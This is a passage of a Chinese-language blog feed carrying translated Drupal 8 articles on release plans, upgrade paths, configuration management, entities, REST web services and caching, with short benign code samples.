&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/console&#34; target=&#34;_blank&#34;&gt;Console&lt;/a&gt;，对新手来说非常有用，自动生成.module/.info文件，PSR-4目录结构，YAML以及路由注册等内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多数Drupal 8核心开发者极其信赖&lt;a href=&#34;http://www.jetbrains.com/phpstorm/&#34; target=&#34;_blank&#34;&gt;PhpStorm IDE&lt;/a&gt;，这个IDE的最新版本对Drupal开发提供了大量&lt;a href=&#34;http://confluence.jetbrains.com/display/PhpStorm/Drupal+Development+using+PhpStorm&#34; target=&#34;_blank&#34;&gt;新功能&lt;/a&gt;。另外，如果你是Drupal的顶尖贡献者，可以&lt;a href=&#34;https://assoc.drupal.org/node/18548&#34; target=&#34;_blank&#34;&gt;免费获取&lt;/a&gt;（这不是广告，你可以加入 #drupal-contribute，看看会不会有一个小时没人提到PhpStorm。）&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>第八部 热点问答</title>
      <link>/post/drupal8-faq/</link>
      <pubDate>Thu, 09 Oct 2014 23:07:30 +0800</pubDate>
      <guid>/post/drupal8-faq/</guid>
      <description>&lt;p&gt;##我为什么需要关注Drupal 8？&lt;/p&gt;

&lt;p&gt;起初Drupal是为开发者设计的，在过去的日子里，Drupal提供了一系列的API，让用户能够利用代码来构建网站，这其中包括内容录入Form、管理页面以及侧边栏Block等。在后期的版本尤其是Drupal 7中，进行了一些为非技术用户的倾斜，为基础任务提供了用户界面（安装、数据建模、信息架构以及着陆页等）。现在多数Drupal站点都会安装一些第三方模块例如可视化编辑器，Views等等。在Drupal核心和第三方模块的支持下，Drupal开始为&lt;a href=&#34;http://www.drupalshowcase.com/&#34; target=&#34;_blank&#34;&gt;一部分最大规模的重要网站&lt;/a&gt;提供支撑。&lt;/p&gt;

&lt;p&gt;Drupal 8在Drupal 7的成功基础之上更进一步，顺应民意，集成了更多的功能，例如&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-1-authoring-experience-improvements&#34; target=&#34;_blank&#34;&gt;改进的编辑体验&lt;/a&gt;、完备的&lt;a href=&#34;https://drupal.fleeto.us/translation/ultimate-guide-drupal-8-episode-4-multilingual-improvements&#34; target=&#34;_blank&#34;&gt;多语言功能&lt;/a&gt;、大量的&lt;a href=&#34;https://drupal.fleeto.us/translation/ultimate-guide-drupal-8-episode-3-site-builder-improvements&#34; target=&#34;_blank&#34;&gt;建站功能&lt;/a&gt;。Drupal 8也更加贴近当代的Web潮流，&lt;a href=&#34;https://drupal.fleeto.us/translation/httpswwwacquiacomblogultimate-guide-drupal-8-episode-2-mobile-improvements&#34; target=&#34;_blank&#34;&gt;移动&lt;/a&gt;优先的设计思路以及焕然一新的&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-5-front-end-developer-improvements&#34; target=&#34;_blank&#34;&gt;前端&lt;/a&gt;。对开发者来说，Drupal 8提供了大量的&lt;a href=&#34;https://drupal.fleeto.us/translation/new-back-end-features-drupal-8&#34; target=&#34;_blank&#34;&gt;后台特性&lt;/a&gt;以及&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-5-front-end-developer-improvements&#34; target=&#34;_blank&#34;&gt;现代化的面向对象的基础代码&lt;/a&gt;。总的说来，Drupal 8为内容编辑、站点建设、开发和设计提供了强大的支持，使之成为一个稳固的项目基础，能更好的面对各种技术、设备和服务。&lt;/p&gt;

&lt;p&gt;Drupal 7是一个稳定、健壮和成熟的平台，将在未来的几年中持续获得支持。很多Drupal 8的功能都可以在Drupal 7中以某种方式进行实现（稍后会披露更多内容）。Drupal 8很伟大，不过如果你等不及，Drupal 7仍然是个好选择。学习Drupal 8也是个好主意——在你的项目需要Drupal 8之前做好准备。&lt;/p&gt;

&lt;p&gt;##Drupal 8听起来很厉害！为什么还没发布？&lt;/p&gt;

&lt;p&gt;一旦&lt;a href=&#34;https://drupal.org/project/issues/search/drupal?status[]=Open&amp;amp;priorities[]=400&amp;amp;categories[]=1&amp;amp;categories[]=2&amp;amp;version[]=8.x&amp;amp;issue_tags_op=%3D&#34; target=&#34;_blank&#34;&gt;严重问题(包括bug和task)&lt;/a&gt;减少至0，Drupal 8的发布候选版就会创建。候选版在公开发布并不再产生严重问题后，Drupal 8就粉墨登场了。&lt;/p&gt;

&lt;p&gt;只要登录Drupal.org，就可以随时查看Drupal 8的进度，&amp;rsquo;Contributor Links&amp;rsquo;显示了各种问题的数量。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/40e526c74c3cb52d7dc76772f31ba777.png&#34; alt=&#34;Contributor Links&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##Drupal 8发布之后会怎样？&lt;/p&gt;

&lt;p&gt;Party，很多的Party。&lt;/p&gt;

&lt;p&gt;接下来，会在Drupal 8的基础上，启动一个&lt;a href=&#34;https://www.drupal.org/node/2135189&#34; target=&#34;_blank&#34;&gt;新的发布计划&lt;/a&gt;，在基础的月度Bug修复和安全补丁(8.0.1, 8.0.2&amp;hellip;.)之外，增加了半年一次的对核心的&amp;rdquo;主要版本&amp;rdquo;(8.1.0, 8.2.0&amp;hellip;)升级。这种发布内容可能包含新功能，向下兼容的API增强，或者更多。在几次主版本升级后，Drupal 8会发布一个“长期支持版本(LTS)”，接下来就会开始Drupal 9的开发。&lt;/p&gt;

&lt;p&gt;这意味着Drupal用户无需为了一个新的核心功能等待几年，我们会每几个月更新一次特性和API，直到这个平台达到成熟。这同时意味着不愿意冒险，更需要稳妥解决方案的用户可以只盯着LTS版本，几年做一次更新（连主版本升级都跳过）。&lt;/p&gt;

&lt;p&gt;##我什么时候可以开始使用Drupal 8？&lt;/p&gt;

&lt;p&gt;这个问题，主要在于你的角色：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;如果你是个模块开发者，你应该马上开始关注Drupal 8。目前还可以为Drupal 8提供有效的反馈，以确保你迁移模块所需要的功能会随Drupal 8一起发布。不过在发布之前，API还存在变化的可能，所以你需要在RC后跟进修改。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果你是一个文档作者、翻译者或设计师，注意Drupal 8的界面、界面文本和标记在第一个RC之前是不会冻结的，所以用户向的文档、翻译以及主题应该在RC1之后启动。当然，比较激进的开发者现在可以跟进，来发现我们尚未修补的问题。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果你有一群不介意协助修复核心Bug，进行模块迁移的开发人员，并且上线时间在2015年末或2016年，你可以在Drupal 8进入Beta后期或RC期开始建设你的Drupal 8站点。如果你需要一些新版本中的新特性，这一时机应该较为可靠。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;绝大多数站点应该在Drupal 8发布之后的几个月后，第三方模块的迁移大致完成后，才会开始进行使用。可以关注&lt;a href=&#34;https://www.drupal.org/project/usage/drupal&#34; target=&#34;_blank&#34;&gt;Drupal 项目应用图表&lt;/a&gt;。当D7和D8两条线交叉时，意味着D8用户数开始超过D7，大多数的升级障碍已经解除，可以考虑跟进了。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##好吧，那这段时间我该干什么？&lt;/p&gt;

&lt;p&gt;继续用Drupal 7。Drupal 7是一个稳定、成熟、健壮、强大的平台，并且在Drupal 8 LTS发布之前会持续得到Bug修复的支持，在Drupal 9的LTS出现之前（多年以后吧），会持续得到安全更新。而且很多Drupal 8功能现在在Drupal 7中也能找到：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;WYSIWYG&lt;/strong&gt;：CKEditor: &lt;a href=&#34;https://drupal.org/project/ckeditor&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/ckeditor&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;就地编辑&lt;/strong&gt;：Quick Edit: &lt;a href=&#34;https://drupal.org/project/quickedit&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/quickedit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式工具栏&lt;/strong&gt;：Mobile Friendly Navigation Toolbar: &lt;a href=&#34;https://drupal.org/project/navbar&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/navbar&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式前端主题&lt;/strong&gt;：Omega, Zen, Adaptive, Aurora等基主题&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式管理主题&lt;/strong&gt;：Ember：&lt;a href=&#34;https://drupal.org/project/ember&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/ember&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式图像&lt;/strong&gt;：Picture：&lt;a href=&#34;https://drupal.org/project/picture&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/picture&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;响应式表格&lt;/strong&gt;：Responsive Tables：&lt;a href=&#34;https://drupal.org/project/responsive_tables&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/responsive_tables&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;简化Overlay&lt;/strong&gt;：Escape Admin: &lt;a href=&#34;https://drupal.org/project/escape_admin&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/escape_admin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;多语言&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Internationalization: &lt;a href=&#34;https://drupal.org/project/i18n&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/i18n&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Entity Translation: &lt;a href=&#34;https://drupal.org/project/entity_translation&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/entity_translation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;(以及很多别的模块)&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Block&lt;/strong&gt;：Bean：&lt;a href=&#34;https://drupal.org/project/bean&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/bean&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;配置管理&lt;/strong&gt;：Features: &lt;a href=&#34;https://drupal.org/project/features&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/features&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Web Service&lt;/strong&gt;：RESTful Web Services: &lt;a href=&#34;https://drupal.org/project/restws&#34; target=&#34;_blank&#34;&gt;https://drupal.org/project/restws&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##如何升级呢？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;站点的内容（用户，文章等）以及众多的配置项（变量，Block设置等），Drupal 8为D6（已经在核心中）和D7（正在开发）提供了&lt;a href=&#34;https://www.acquia.com/blog/d8migrate&#34; target=&#34;_blank&#34;&gt;升级方法&lt;/a&gt;来保障核心模块的升级（第三方模块需要编写自己的升级方法）。简单说来，你需要在搭建Drupal 8站点时，保持你的Drupal 6或7的站点的运行，然后运行一个类似现有update.php的脚本来进行内容迁移。如果验证通过，切换一下webroot，几乎无需停机就完成了。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;对于目前站点中使用的第三方模块，安装7.x版本的&lt;a href=&#34;https://drupal.org/project/upgrade_status&#34; target=&#34;_blank&#34;&gt;Upgrade Status&lt;/a&gt;模块，这个模块会显示各模块的站点以及D8升级状态。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;站点中的自实现模块，就需要自行升级了。&lt;a href=&#34;https://drupal.org/project/drupalmoduleupgrader&#34; target=&#34;_blank&#34;&gt;Drupal Module Upgrader&lt;/a&gt;项目能够协助你进行升级，并针对做出的变更出具报告。需要注意的是，这个项目还处于&lt;a href=&#34;https://www.drupal.org/node/2319353&#34; target=&#34;_blank&#34;&gt;非常活跃的开发状态&lt;/a&gt;中，以跟进更多的Drupal 8 API，这个项目也不是全知全能的，所以还需要手工修正一些内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;站点中的自定义主题，必须转换为Twig，可以试试&lt;a href=&#34;https://drupal.org/sandbox/forest/1965070&#34; target=&#34;_blank&#34;&gt;Twigifier&lt;/a&gt;项目，该项目尝试将这一步骤进行自动化处理。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以目前来说，你的升级过程主要取决于你目前站点的实际状况，总体看来，采用知名的第三方模块比自实现代码在升级上具有更大的优势。&lt;/p&gt;

&lt;p&gt;更多的关于Drupal 6/7升级到D8的信息，请阅读&lt;a href=&#34;https://www.acquia.com/blog/getting-your-site-ready-drupal-8&#34; target=&#34;_blank&#34;&gt;https://www.acquia.com/blog/getting-your-site-ready-drupal-8&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##有什么我能帮忙的？&lt;/p&gt;

&lt;p&gt;想要Drupal 8快点来？来帮忙吧！&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;最直接的方式就是&lt;a href=&#34;https://drupal.org/project/issues/search/drupal?status[]=Open&amp;amp;priorities[]=400&amp;amp;categories[]=1&amp;amp;categories[]=2&amp;amp;version[]=8.x&amp;amp;issue_tags_op=%3D&#34; target=&#34;_blank&#34;&gt;协助修复严重问题&lt;/a&gt;，随时关注&lt;a href=&#34;https://groups.drupal.org/core/twidc&#34; target=&#34;_blank&#34;&gt;Drupal Core更新&lt;/a&gt;，这里总会提供最新的需要注意的消息。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果你刚开始接触Drupal核心开发，或参与到有用的事情中去，可以参加每周两次的&lt;a href=&#34;https://drupal.org/core-office-hours&#34; target=&#34;_blank&#34;&gt;core mentoring hours&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;想要协助Drupal 8的迁移工作？请加入&lt;a href=&#34;http://groups.drupal.org/imp&#34; target=&#34;_blank&#34;&gt;IMP (Migrate in core) team&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;想要参与Drupal 8的文档工作？请浏览&lt;a href=&#34;https://drupal.org/node/1005304&#34; target=&#34;_blank&#34;&gt;https://drupal.org/node/1005304&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;想要学习Drupal 8 API来帮助其他开发者？请帮忙把&lt;a href=&#34;https://drupal.org/project/examples&#34; target=&#34;_blank&#34;&gt;Examples for Developers&lt;/a&gt;移植到Drupal 8。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;希望为自己和其他开发者节省移植模块的时间？请参与编写&lt;a href=&#34;https://drupal.org/project/drupalmoduleupgrader&#34; target=&#34;_blank&#34;&gt;Drupal Module Upgrader&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##谢谢！&lt;/p&gt;

&lt;p&gt;请为&lt;a href=&#34;http://ericduran.github.io/drupalcores/&#34; target=&#34;_blank&#34;&gt;2300多个Drupal 8贡献者&lt;/a&gt;掌声！&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第六部 全新的后台</title>
      <link>/post/drupal-new-console/</link>
      <pubDate>Fri, 26 Sep 2014 03:15:05 +0800</pubDate>
      <guid>/post/drupal-new-console/</guid>
      <description>&lt;p&gt;##全新的配置管理系统&lt;/p&gt;

&lt;p&gt;对建站人员和开发者来说，Drupal 8的最值得期待的变化就是配置管理系统。在Drupal 7和之前的版本中，内容和配置都保存在数据库里（甚至有的配置和内容会混在同一张表中），这使得不同环境间的站点迁移非常困难（例如开发环境到生产环境）。围绕这个难题，诞生了很多相关的技术，包括 &lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.api.php/function/hook_update_N/7&#34; target=&#34;_blank&#34;&gt;hook_update_N()&lt;/a&gt;, &lt;a href=&#34;https://drupal.org/project/features&#34; target=&#34;_blank&#34;&gt;Features module&lt;/a&gt;，还有更古老的方式——记录一套环境上的配置，然后去另一套环境上手工执行。然而，所有这些尝试都是做着同一个事情：想要规避一个残酷事实——Drupal核心没有很好的提供配置发布支持，直到Drupal 8的出现。&lt;/p&gt;

&lt;p&gt;在Drupal 8中，所有的配置都变了（包括标准的管理配置项目，例如站点名称之类；以及任何的&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Config%21Entity%21ConfigEntityInterface.php/interface/ConfigEntityInterface/8&#34; target=&#34;_blank&#34;&gt;ConfigEntity&lt;/a&gt;，这里包括Views，用户角色以及内容类型，都会通过统一的&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21modules%21system%21core.api.php/group/config_api/8&#34; target=&#34;_blank&#34;&gt;configuration API&lt;/a&gt;运行），每个环境都拥有一个&amp;rdquo;备用配置&amp;rdquo;和一个&amp;rdquo;激活配置&amp;rdquo;仓库，备用仓库一般保存的是从其他环境中导入的待审核配置，而激活配置保存的是目前站点运行过程中将要读取的配置。出于性能上的考虑，缺省情况下激活配置保存在数据库中的配置表中（和Drupal 7中的Variables表类似），当然，保存位置是可变更的。例如&lt;a href=&#34;https://www.drupal.org/project/config_devel&#34; target=&#34;_blank&#34;&gt;Configuration Development Module&lt;/a&gt;使用Drupal 8核心对待备选配置的方式来处理活动配置——将活动配置写入文件系统的YAML文件中。&lt;/p&gt;

&lt;p&gt;Drupal 8自带了一个基础的UI用于处理配置的导入和导出，并且配置还可以利用Drush的&lt;code&gt;config-*&lt;/code&gt;系列命令来进行操作，这些操作也可以支持后续的Git之类的版本管理操作。&lt;/p&gt;

&lt;p&gt;基础的配置变更流程如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/7f0626282f1d9d0ec3e8998a455ec5ef.png&#34; alt=&#34;configuration workflow&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;在开发环境中，导出激活配置，导出结果是一个包含很多YAML文件的tar压缩包。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在生产环境，导入这些文件，这些配置会出现在备选配置区域中。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在配置界面，现在可以看到一个列表，其中列出了发生变化的配置，并且可以进一步查看变更前后的差异。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果这些变更可以接受，用户可以选择进行同步，同步过程将会把生产环境中的备选配置替换掉当前的激活配置，Drupal就会使用新的配置提供服务了。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/4e33774b0c1772bbdf2f99dda97f4808.png&#34; alt=&#34;diff&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当然，还有一些配置是针对当前环境的，这些配置是不应该跨环境进行迁移的，一个例子就是Cron上次运行的时间。对于这种情况，有一组&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21modules%21system%21core.api.php/group/state_api/8&#34; target=&#34;_blank&#34;&gt;State API&lt;/a&gt;可以用来处理这种短期配置。&lt;/p&gt;

&lt;p&gt;##什么是内容发布&lt;/p&gt;

&lt;p&gt;Drupal 8没有对Node, User以及Taxonomy Terms之类的内容进行站点间迁移的支持（可能会在8.1或8.2中提供），不过一个进步是Drupal 8为每个内容都提供了UUID（全局唯一标识符）。UUID可以用于判断一个内容是否存在于目标站点，而不会去理会数字ID是否冲突，这大大的简化了内容的导入和导出。注意&lt;a href=&#34;https://www.drupal.org/project/deploy&#34; target=&#34;_blank&#34;&gt;Deploy modue&lt;/a&gt;的&lt;a href=&#34;https://www.drupal.org/node/2112799&#34; target=&#34;_blank&#34;&gt;Drupal 8版本&lt;/a&gt;。如果你还在Drupal 7，可以通过&lt;a href=&#34;http://drupal.org/project/uuid&#34; target=&#34;_blank&#34;&gt;UUID Module&lt;/a&gt;得到类似效果。&lt;/p&gt;

&lt;p&gt;##Entity，到处都是Entity&lt;/p&gt;

&lt;p&gt;Entity是Drupal 7中的一个新概念、新特性，他抽象了以前Node才有的添加字段的能力，把这一能力扩展到了Users，Taxonomy Terms等数据结构上。然而，Drupal 7的核心API非常有限，需要&lt;a href=&#34;https://www.drupal.org/project/entity&#34; target=&#34;_blank&#34;&gt;Entity API模块&lt;/a&gt;的辅助来完成一些基础工作，例如保存和删除。&lt;/p&gt;

&lt;p&gt;在Drupal 8中，Entity API进行了全面增强，不仅克服了Drupal 7版本的缺陷，还极大的增强了开发者的体验。所有的Entity现在都实现了&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Entity%21EntityInterface.php/interface/EntityInterface/8&#34; target=&#34;_blank&#34;&gt;EntityInterface&lt;/a&gt;这一接口（再也不用猜那100多个hook了），下面对比一下读取活动语言的代码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
# Drupal 7 code.
$node-&amp;gt;title
$node-&amp;gt;body[$langcode][0][&#39;value&#39;]

# Drupal 8 code.
$node-&amp;gt;get(&#39;title&#39;)-&amp;gt;value
$node-&amp;gt;get(&#39;body&#39;)-&amp;gt;value
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;除了现在已有的Entity之外，几乎所有可以新建的东西都成了Entity，这极大的增强了Drupal开发过程的一致性。现有两种Entity：配置和内容Entity。他们有什么区别呢？&lt;/p&gt;

&lt;p&gt;###Content Entity&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;可以自定义字段&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;缺省存储于数据表中&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多数在前端创建&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;####举例&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Nodes&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Custom Blocks&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Users&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Comments&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Taxonomy 词汇&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Menu Links&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Aggregator Feeds/Items&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;###Config Entity&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;能够发布到不同的环境&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;存储在配置系统中&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;多数在后端创建&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;####举例&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;内容类型&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;用户角色&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Views&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Taxonomy 词汇表&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;菜单&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;图形样式&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;相对于Drupa 7，内容Entity还提供了一些新的特性，例如不仅Node有版本，自定义Block也有了版本；所有的内容Entity都有了添加评论的能力（比如为评论添加评论）。&lt;a href=&#34;https://www.acquia.com/blog/ultimate-guide-drupal-8-episode-3-site-builder-improvements&#34; target=&#34;_blank&#34;&gt;Drupal 8的网站建设增强&lt;/a&gt;一节描述了更多的Entity相关特性。&lt;/p&gt;

&lt;p&gt;##&lt;code&gt;hook_schema()&lt;/code&gt;淡出？&lt;/p&gt;

&lt;p&gt;作为一个开发者，这对你有何意义么？这意味着，Drupal 8中，有了Entity API，还有Config/State API，几乎没有创建和管理自己的数据表的必要。使用这些标准API，不但可以少些代码，还让你易于迁移到其他种类的数据库，例如MongoDB。&lt;/p&gt;

&lt;p&gt;##Web Service&lt;/p&gt;

&lt;p&gt;Drupal 8的主要目标，不仅仅在于创建Drupal为后端的移动应用，还在于促进站点间的通信能力以及同第三方资源的整合能力，有鉴于此，Drupal 8从&lt;a href=&#34;https://drupal.org/documentation/modules/rest&#34; target=&#34;_blank&#34;&gt;RESTful web services&lt;/a&gt;模块里吸收代码，内建于核心之中，提供本地的REST API。这样就可以配置什么Entity(Node, Tarxonomy, Users)可以允许什么样的HTTP操作(GET, POST, PATCH, DELETE..)，进行这些操作需要什么样的认证。&lt;a href=&#34;https://www.drupal.org/project/restui&#34; target=&#34;_blank&#34;&gt;REST UI模块&lt;/a&gt;提供了进行这些配置的界面。这样，对于这些被允许的HTTP方法，用户还可以设置什么角色才可以利用这些方法访问对应的资源——例如让匿名用户可以GET，但是只有管理员才可以POST。&lt;/p&gt;

&lt;p&gt;在RESTful Web Service模块配置之后，可以从站点内容中获取一大堆的机读数据，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;...
   [title] =&amp;gt; Array
    (
        [0] =&amp;gt; Array
            (
                [value] =&amp;gt; Hello, world!
                [lang] =&amp;gt; en
            )

    )
...
[body] =&amp;gt; Array
    (
        [0] =&amp;gt; Array
            (
                [value] =&amp;gt; &amp;lt;p&amp;gt;This is my &amp;lt;strong&amp;gt;awesome&amp;lt;/strong&amp;gt; article.&amp;lt;/p&amp;gt;
                [format] =&amp;gt; basic_html
                [summary] =&amp;gt;
            )

    )
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这有很多好处，下面是一个Drupal 8的例子，获取JSON格式的数据，并再一个&lt;a href=&#34;https://github.com/webchickenator/d8ws&#34; target=&#34;_blank&#34;&gt;独立的jQuery Mobile应用&lt;/a&gt;中展示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/433d3a7e6f0bddde2c1d2d89d8d2b0b5.png&#34; alt=&#34;jQuery Mobile App&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Drupal 8还打包了一个叫做&lt;a href=&#34;http://guzzle.readthedocs.org/en/latest/&#34; target=&#34;_blank&#34;&gt;Guzzle&lt;/a&gt;的库，他实现了&lt;a href=&#34;https://gist.github.com/webchickenator/e1900c641ffc6dac6cfc&#34; target=&#34;_blank&#34;&gt;简单的语法&lt;/a&gt;，用来获取和提交数据，或者同Twitter或者Github之类的第三房服务进行通信。&lt;/p&gt;

&lt;p&gt;最后一个Drupal 8 Web Service特性就是&amp;rdquo;REST 导出&amp;rdquo;功能，他会在任何View中显示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/c46d108c79d715d116e33173b786f20d.png&#34; alt=&#34;REST Export&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##增强的缓存&lt;/p&gt;

&lt;p&gt;让人高兴地是，Drupal 8的缓存进行了全面的增强。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/entitycache&#34; target=&#34;_blank&#34;&gt;Entity缓存&lt;/a&gt;进入核心。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/node/1884800&#34; target=&#34;_blank&#34;&gt;缓存标签&lt;/a&gt;：在站点内容或配置发生变化时候，允许更细致的缓存清空操作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;所有的缓存特性，例如CSS/JS聚合等在缺省状态就会打开，让&lt;a href=&#34;http://wimleers.com/article/performance-calendar-2013-making-the-entire-web-fast&#34; target=&#34;_blank&#34;&gt;Drupal 8的缺省配置&lt;/a&gt;就能够快速运行&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们还在努力的&lt;a href=&#34;https://www.drupal.org/node/1744302&#34; target=&#34;_blank&#34;&gt;增强Drupal 8的性能&lt;/a&gt;，这些新增的缓存特性，会加速绝大多数的页面的载入过程。&lt;/p&gt;

&lt;p&gt;##小结&lt;/p&gt;

&lt;p&gt;本文对Drupal 8的代码变化做了一些说明，下一次，将会对主要的API变化，以及这些变化的影响做更加深入的讲解。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>为区域指派内容</title>
      <link>/post/assign-content-for-regions/</link>
      <pubDate>Mon, 07 Jul 2014 09:29:20 +0800</pubDate>
      <guid>/post/assign-content-for-regions/</guid>
      <description>&lt;p&gt;如果没有定义，Drupal 6中会做如下假设：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;regions[left] = Left sidebar
regions[right] = Right sidebar
regions[content] = Content
regions[header] = Header
regions[footer] = Footer
&lt;/code&gt;&lt;/pre&gt;

